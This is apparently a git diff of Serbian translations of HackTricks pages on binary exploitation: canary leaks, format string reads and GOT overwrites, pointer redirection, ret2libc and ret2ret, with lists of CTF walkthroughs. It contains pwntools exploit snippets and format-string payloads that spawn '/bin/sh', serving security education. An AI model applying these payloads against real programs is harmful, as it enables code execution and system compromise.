Očigledno, ova taktika je veoma **ograničena** jer napadač mora biti u mogućnosti da **ispisuje** sadržaj svog **payload-a** kako bi **izvukao** canary i zatim bio u mogućnosti da kreira novi payload (u **istoj sesiji programa**) i **pošalje** **pravi buffer overflow**.
|
||||
Očigledno, ova taktika je veoma **ograničena** jer napadač mora biti u mogućnosti da **ispisuje** sadržaj svog **payload-a** kako bi **izneo** canary i zatim bio u mogućnosti da kreira novi payload (u **istoj sesiji programa**) i **pošalje** **pravi buffer overflow**.
|
||||
|
||||
**CTF primer:** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
**CTF primeri:** 
|
||||
|
||||
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64 bit, ASLR omogućen ali bez PIE-a, prvi korak je popuniti preplavljivanje sve do bajta 0x00 canary-ja, zatim pozvati puts i procuriti ga. Sa canary-jem se kreira ROP gedžet koji poziva puts da procuri adresu puts-a iz GOT-a i ROP gedžet da pozove `system('/bin/sh')`
|
||||
|
||||
## Proizvoljno Čitanje
|
||||
|
||||
Sa proizvoljnim čitanjem kao što je ono koje omogućava format **string-ovi**, moguće je procureti canary. Proverite ovaj primer: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) i možete pročitati o zloupotrebi format string-ova za čitanje proizvoljnih memorijskih adresa u:
|
||||
Sa proizvoljnim čitanjem kao što je ono koje pružaju format **stringovi**, moguće je procuriti canary. Proverite ovaj primer: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) i možete pročitati o zloupotrebi format stringova za čitanje proizvoljnih memorijskih adresa u:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
|
@ -40,10 +43,10 @@ Sa proizvoljnim čitanjem kao što je ono koje omogućava format **string-ovi**,
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,15 +8,15 @@
|
|||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova** ka [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
U programskom jeziku C, **`printf`** je funkcija koja se može koristiti za **ispisivanje** stringova. Prvi parametar koji ova funkcija očekuje je **sirovi tekst sa formatima**. Sledeći očekivani parametri su **vrednosti** koje će **zameniti** **formatere** iz sirovog teksta.
|
||||
U programskom jeziku C **`printf`** je funkcija koja se može koristiti za **ispisivanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** koje će **zameniti** **formatere** iz sirovog teksta.
|
||||
|
||||
Ranjivost se pojavljuje kada **tekst napadača bude korišćen kao prvi argument** ovoj funkciji. Napadač će moći da kreira **specijalan unos zloupotrebom mogućnosti formatiranja stringova** funkcije `printf` kako bi čitao i **pisao bilo koje podatke na bilo kojoj adresi (čitljivo/pisivo)**. Na taj način, moći će da **izvrši proizvoljan kod**.
|
||||
Ranjivost se pojavljuje kada **tekst napadača bude korišćen kao prvi argument** ovoj funkciji. Napadač će moći da kreira **specijalan unos zloupotrebom** mogućnosti **formatiranja stringova printf funkcije** kako bi pročitao i **upisao bilo koje podatke na bilo koju adresu (čitljivo/upisivo)**. Na taj način moći će da **izvrši proizvoljan kod**.
|
||||
|
||||
#### Formatteri:
|
||||
```bash
|
||||
|
@ -51,7 +51,7 @@ Format **`%<n>$x`**, gde je `n` broj, omogućava da se printf-u pokaže da izabe
|
|||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
i pročitao bi ste od prvog do četvrtog parametra.
|
||||
i trebalo bi da čitate od prvog do četvrtog parametra.
|
||||
|
||||
Ili možete uraditi:
|
||||
```c
|
||||
|
@ -62,12 +62,12 @@ i pročitajte direktno četvrti.
|
|||
Primetite da napadač kontroliše parametar `pr`**`intf`**, što u osnovi znači da** njegov unos će biti na steku kada se pozove `printf`, što znači da bi mogao da upiše određene memorijske adrese na stek.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Napadač koji kontroliše ovaj unos, moći će **dodati proizvoljnu adresu na stek i naterati `printf` da im pristupi**. U sledećem odeljku će biti objašnjeno kako iskoristiti ovaj ponašanje.
|
||||
Napadač koji kontroliše ovaj unos, moći će **dodati proizvoljnu adresu na stek i naterati `printf` da im pristupi**. U sledećem odeljku će biti objašnjeno kako iskoristiti ovu funkcionalnost.
|
||||
{% endhint %}
|
||||
|
||||
## **Proizvoljno čitanje**
|
||||
|
||||
Moguće je koristiti format **`$n%s`** da bi se **`printf`** dobio **adresu** smeštenu na **n poziciji**, sledeći je i **odštampao kao da je string** (odštampati dok se ne pronađe 0x00). Dakle, ako je osnovna adresa binarnog fajla **`0x8048000`**, i znamo da korisnički unos počinje na 4. poziciji na steku, moguće je odštampati početak binarnog fajla sa:
|
||||
Moguće je koristiti format **`$n%s`** da bi **`printf`** dobio **adresu** smeštenu na **n poziciji**, sledeći je i **odštampao kao da je string** (štampa do pronalaska 0x00). Dakle, ako je osnovna adresa binarnog fajla **`0x8048000`**, i znamo da korisnički unos počinje na 4. poziciji na steku, moguće je odštampati početak binarnog fajla sa:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -84,32 +84,31 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|||
Imajte na umu da ne možete staviti adresu 0x8048000 na početak unosa jer će string biti završen sa 0x00 na kraju te adrese.
|
||||
{% endhint %}
|
||||
|
||||
## **Proizvoljni zapis**
|
||||
## **Proizvoljno pisanje**
|
||||
|
||||
Formatter **`$<num>%n`** **upisuje** broj napisanih bajtova na **označenu adresu** u parametru \<num> na steku. Ako napadač može da upiše toliko znakova koliko želi sa printf, moći će da natera **`$<num>%n`** da upiše proizvoljan broj na proizvoljnu adresu.
|
||||
Formatter **`$<num>%n`** **piše** **broj napisanih bajtova** na **označenu adresu** u parametru \<num> na steku. Ako napadač može da napiše toliko znakova koliko želi sa printf, moći će da natera **`$<num>%n`** da napiše proizvoljan broj na proizvoljnu adresu.
|
||||
|
||||
Srećom, da bi se upisao broj 9999, nije potrebno dodati 9999 "A" na unos, već je moguće koristiti formatter **`%.<num-write>%<num>$n`** da se upiše broj **`<num-write>`** na **adresu na koju pokazuje pozicija `num`**.
|
||||
Srećom, da bi se napisao broj 9999, nije potrebno dodati 9999 "A" u unos, već je moguće koristiti formatter **`%.<num-write>%<num>$n`** da se napiše broj **`<num-write>`** na **adresu na koju pokazuje pozicija `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Međutim, imajte na umu da se obično koristi `$hn` umesto `$n` kako bi se napisala adresa poput `0x08049724` (što je OGROMAN broj za napisati odjednom). Ovo omogućava da se napišu samo 2 bajta. Stoga se ova operacija vrši dva puta, jednom za najviša 2B adrese, a drugi put za najniže.
|
||||
Međutim, važno je napomenuti da se obično koristi `$hn` umesto `$n` kako bi se napisala adresa poput `0x08049724` (što je OGROMAN broj za napisati odjednom). Ovo omogućava da se napišu samo 2 bajta. Stoga se ova operacija obavlja dva puta, jednom za najviša 2B adrese, a drugi put za najniže.
|
||||
|
||||
Ova ranjivost omogućava **pisanje bilo čega na bilo koju adresu (proizvoljno pisanje)**.
|
||||
Ova ranjivost omogućava pisanje bilo čega na bilo koju adresu (proizvoljno pisanje).
|
||||
|
||||
U ovom primeru, cilj je da se **prepiše** adresa **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike proizvoljnog pisanja za izvršenje:
|
||||
U ovom primeru, cilj je da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako ovo može zloupotrebiti druge tehnike proizvoljnog pisanja za izvršenje:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Nameravamo **prepisati** funkciju koja **prima** svoje **argumente** od **korisnika** i usmeriti je na funkciju **`system`**.\
|
||||
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo se **pišu 2 bajta** adrese, a zatim druga 2. Za to se koristi **`$hn`**.
|
||||
Prepisivaćemo funkciju koja prima argumente od korisnika i usmerićemo je ka funkciji `system`. Kao što je pomenuto, obično su potrebna 2 koraka za pisanje adrese: Prvo se pišu 2 bajta adrese, a zatim druga 2. Za to se koristi `$hn`.
|
||||
|
||||
* **HOB** se odnosi na 2 viša bajta adrese
|
||||
* **LOB** se odnosi na 2 niža bajta adrese
|
||||
* HOB se odnosi na 2 viša bajta adrese
|
||||
* LOB se odnosi na 2 niža bajta adrese
|
||||
|
||||
Zatim, zbog toga kako format string radi, morate **prvo napisati manji** od \[HOB, LOB\] a zatim drugi.
|
||||
Zatim, zbog toga kako formatiranje stringa funkcioniše, morate prvo napisati manji od \[HOB, LOB\] pa onda drugi.
|
||||
|
||||
Ako je HOB < LOB\
|
||||
`[adresa+2][adresa]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
@ -117,7 +116,7 @@ Ako je HOB < LOB\
|
|||
Ako je HOB > LOB\
|
||||
`[adresa+2][adresa]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -127,7 +126,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
|||
|
||||
### Pwntools Šablon
|
||||
|
||||
Možete pronaći šablon za pripremu eksploatacije ovakve vrste ranjivosti u:
|
||||
Možete pronaći šablon za pripremu eksploata za ovu vrstu ranjivosti u:
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
|
@ -152,19 +151,13 @@ p.sendline('/bin/sh')
|
|||
|
||||
p.interactive()
|
||||
```
|
||||
## Ostali Primeri & Reference
|
||||
## Ostali Primeri i Reference
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova** na [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||
* 32 bit, bez relro-a, bez canary-ja, nx, bez pie-a, osnovna upotreba format stringova za otkrivanje zastave sa steka (nema potrebe za menjanjem toka izvršavanja)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 bit, relro, bez canary-ja, nx, bez pie-a, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32 bit, relro, bez canary-ja, nx, bez pie-a, format string za pisanje adrese unutar main-a u `.fini_array` (tako da tok ponovo prolazi 1 više puta) i pisanje adrese `system` u GOT tabelu koja pokazuje na `strlen`. Kada tok ponovo dođe do main-a, `strlen` se izvršava sa korisničkim unosom i pokazujući na `system`, izvršiće prosleđene komande.
|
||||
|
|
|
@ -0,0 +1,53 @@
|
|||
# Preusmeravanje pokazivača
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Pokazivači na stringove
|
||||
|
||||
Ako poziv funkcije koristi adresu stringa koji se nalazi na steku, moguće je zloupotrebiti prekoračenje bafera da **prepiše ovu adresu** i stavi **adresu drugog stringa** unutar binarnog fajla.
|
||||
|
||||
Na primer, ako poziv funkcije **`system`** koristi adresu stringa da izvrši komandu, napadač može staviti **adresu drugog stringa na stek**, **`export PATH=.:$PATH`** i kreirati u trenutnom direktorijumu **skriptu sa imenom prvog slova novog stringa** jer će je izvršiti binarni fajl.
|
||||
|
||||
Možete pronaći primer ovoga na:
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
|
||||
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
|
||||
* 32-bit, promenite adresu stringa u steku tako da je ispisana pomoću `puts`
|
||||
|
||||
## Pokazivači na funkcije
|
||||
|
||||
Isto kao i pokazivači na stringove, ali primenjeno na funkcije, ako **stek sadrži adresu funkcije** koja će biti pozvana, moguće je **promeniti je** (npr. pozvati **`system`**).
|
||||
|
||||
Primer možete pronaći na:
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
## **Osnovne informacije**
|
||||
|
||||
Suština **Ret2Libc** je preusmeravanje izvršnog toka ranjivog programa ka funkciji unutar deljene biblioteke (npr. **system**, **execve**, **strcpy**) umesto izvršavanja shell koda koji je dostavljen od strane napadača na steku. Napadač kreira payload koji modifikuje povratnu adresu na steku kako bi pokazivala ka željenoj funkciji biblioteke, dok istovremeno organizuje da svi neophodni argumenti budu pravilno postavljeni u skladu sa konvencijom pozivanja.
|
||||
Suština **Ret2Libc** je preusmeravanje izvršnog toka ranjivog programa ka funkciji unutar deljene biblioteke (npr. **system**, **execve**, **strcpy**) umesto izvršavanja shell koda koji je dostavljen od strane napadača na steku. Napadač kreira payload koji modifikuje povratnu adresu na steku kako bi pokazivala ka željenoj funkciji biblioteke, dok istovremeno organizuje da svi neophodni argumenti budu ispravno postavljeni prema konvenciji pozivanja.
|
||||
|
||||
### **Primer koraka (simplifikovan)**
|
||||
|
||||
|
@ -37,11 +37,11 @@ Ako želite da proverite da li ASLR menja adresu libc-a, možete uraditi sledeć
|
|||
```bash
|
||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
```
|
||||
* Znanjem korišćene libc biblioteke takođe je moguće pronaći offset do `system` funkcije sa:
|
||||
* Znajući korišćenu libc biblioteku, takođe je moguće pronaći offset do `system` funkcije sa:
|
||||
```bash
|
||||
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
||||
```
|
||||
* Poznavanjem korišćene libc biblioteke takođe je moguće pronaći offset do stringa `/bin/sh` funkcije pomoću:
|
||||
* Znajući korišćenu libc biblioteku, takođe je moguće pronaći offset do stringa `/bin/sh` funkcije sa:
|
||||
```bash
|
||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
|
@ -55,7 +55,7 @@ find "/bin/sh"
|
|||
```
|
||||
### Korišćenje /proc/\<PID>/maps
|
||||
|
||||
Ako proces svaki put kada komunicirate s njim stvara **dete** (mrežni server), pokušajte **pročitati** taj fajl (verovatno će vam biti potrebna administratorska prava).
|
||||
Ako proces stvara **dečije procese** svaki put kada komunicirate s njim (mrežni server), pokušajte **pročitati** taj fajl (verovatno će vam biti potrebno da budete root).
|
||||
|
||||
Ovde možete pronaći **tačno gde je učitan libc** unutar procesa i **gde će biti učitan** za svako dete procesa.
|
||||
|
||||
|
@ -111,7 +111,7 @@ payload = 'A'*0x20010 + p
|
|||
c.send(payload)
|
||||
c.interactive()
|
||||
```
|
||||
## x64 Primerak koda za Ret2lib
|
||||
## Primer koda x64 Ret2lib
|
||||
|
||||
Proverite primer sa:
|
||||
|
||||
|
@ -125,22 +125,19 @@ Ovo omogućava **procurivanje informacija iz procesa** pozivanjem `printf`/`puts
|
|||
|
||||
## Ret2printf
|
||||
|
||||
Ovo u osnovi znači zloupotrebu **Ret2lib-a kako bi se transformisao u ranjivost formata stringova za `printf`** koristeći `ret2lib` za pozivanje printf sa vrednostima kako bi se iskoristio (zvuči beskorisno ali je moguće):
|
||||
Ovo u osnovi znači zloupotrebu **Ret2lib-a kako bi se transformisao u ranjivost `printf` format string-ova** koristeći `ret2lib` za pozivanje printf sa vrednostima koje se zloupotrebljavaju (zvuči beskorisno ali je moguće):
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
## Ostali primeri i reference
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||
* Ret2lib, dajući procuru do adrese funkcije u libc-u, koristeći jedan gadget
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64 bita, ASLR omogućen ali bez PIE-a, prvi korak je popuniti prekoračenje do bajta 0x00 kanara, zatim pozvati puts i procuriti ga. Sa kanarom se kreira ROP gedžet za pozivanje puts-a kako bi procurio adresu puts-a iz GOT-a, zatim ROP gedžet za pozivanje `system('/bin/sh')`
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64 bita, ASLR omogućen, bez kanara, prekoračenje steka u glavnoj funkciji iz podfunkcije. ROP gedžet za pozivanje puts-a kako bi procurio adresu puts-a iz GOT-a, zatim pozvati jedan gedžet.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
|
||||
* 64 bita, bez PIE-a, bez kanara, bez relro, nx. Koristi funkciju write za procurivanje adrese write (libc) i poziva jedan gedžet.
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Ret2ret
|
||||
# Ret2ret & Ret2pop
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,20 +14,29 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
## Ret2ret
|
||||
|
||||
Glavni cilj ove tehnike je pokušaj **zaobilaženja ASLR-a zloupotrebom postojećeg pokazivača na steku**.
|
||||
|
||||
U osnovi, prekoračenja steka obično su uzrokovana stringovima, a **stringovi se završavaju nulom na kraju** u memoriji. To omogućava pokušaj smanjenja mesta na koje pokazuje već postojeći pokazivač na steku. Dakle, ako je stek sadržao `0xbfffffdd`, ovo prekoračenje bi moglo da ga transformiše u `0xbfffff00` (primetite poslednji nula bajt).
|
||||
U osnovi, prekoračenja steka obično su uzrokovana stringovima, a **stringovi se završavaju nulom na kraju** u memoriji. To omogućava pokušaj smanjenja mesta na koje pokazuje već postojeći pokazivač na steku. Dakle, ako je stek sadržavao `0xbfffffdd`, ovo prekoračenje može ga transformisati u `0xbfffff00` (primetite poslednji nula bajt).
|
||||
|
||||
